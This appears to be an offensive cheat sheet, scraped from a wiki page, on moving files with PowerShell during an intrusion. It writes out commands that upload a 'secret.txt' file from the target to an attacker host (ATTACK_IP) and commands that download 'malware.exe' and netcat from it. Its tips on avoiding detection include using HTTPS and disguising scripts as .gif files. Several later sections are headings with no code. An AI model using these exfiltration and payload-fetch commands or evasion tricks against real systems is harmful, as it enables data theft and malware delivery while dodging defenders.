githubEdit

Powershell

Windows PowerShell

Upload File

1) .NET Reflection

[void](New-Object System.Net.WebClient).UploadFile('http://ATTACK_IP/', "C:\Windows\Temp\secret.txt")

2) Invoke-WebRequest

$filePath = 'C:\Windows\Temp\secret.txt' ; $uploadUri = 'http://ATTACK_IP/' ; $file = try { Get-Item $filePath -ErrorAction Stop } catch { throw $_.Exception } ; $fileContents = $(-join[char[]][System.IO.File]::ReadAllBytes($file.FullName)) ; $formBoundaryBegin = '----l337PwnzFormBoundary' ; $formBoundaryEnd = $formBoundaryBegin + "--`r`n" ; $formBody = "$formBoundaryBegin`nContent-Disposition: form-data; name=`"file`"; filename=`"$($file.Name)`"`nContent-Type: application/octet-stream`n`n$fileContents`n$formBoundaryEnd" ; $parameters = @{'Method' = 'POST'; 'Uri' = $uploadUri ; 'Headers' = @{ 'Content-Type' = "multipart/form-data; boundary=$formBoundaryBegin" } ; 'Body' = $formBody } ; Invoke-WebRequest @parameters

Download File

1) Invoke-RestMethod

Invoke-RestMethod -Uri http://ATTACK_IP:PORT/REMOTE_FILE -Method PUT -InFile TARGET_FILE

2) Invoke-WebRequest

powershell.exe iwr -uri ATTACK_IP/malware.exe -o C:\temp\malware.exe

3) Wget

wget http://ATTACK_IP/nc.exe -OutFile nc.exe

4) Net.WebClient Download String Method

Standard download cradle

Internet Explorer Download cradle

Requires PowerShell V3+

5) In Memory

6) On Disk

7) Net.WebClient Single Quotes Download and store

8) Net.WebClient User Agent Download

9) XML Download and Execute

XML Script example

TIPS AND TRICKS

1) If possible use SSL on attacking machine and use HTTPS to further evade detection

2) Further evade detection by renaming scripts from .ps1 to something else such as .gif. Powershell can still execute .gif files as Powershell files.

3) Multi command scripts below can be converted to one line with ';' between commands.

Last updated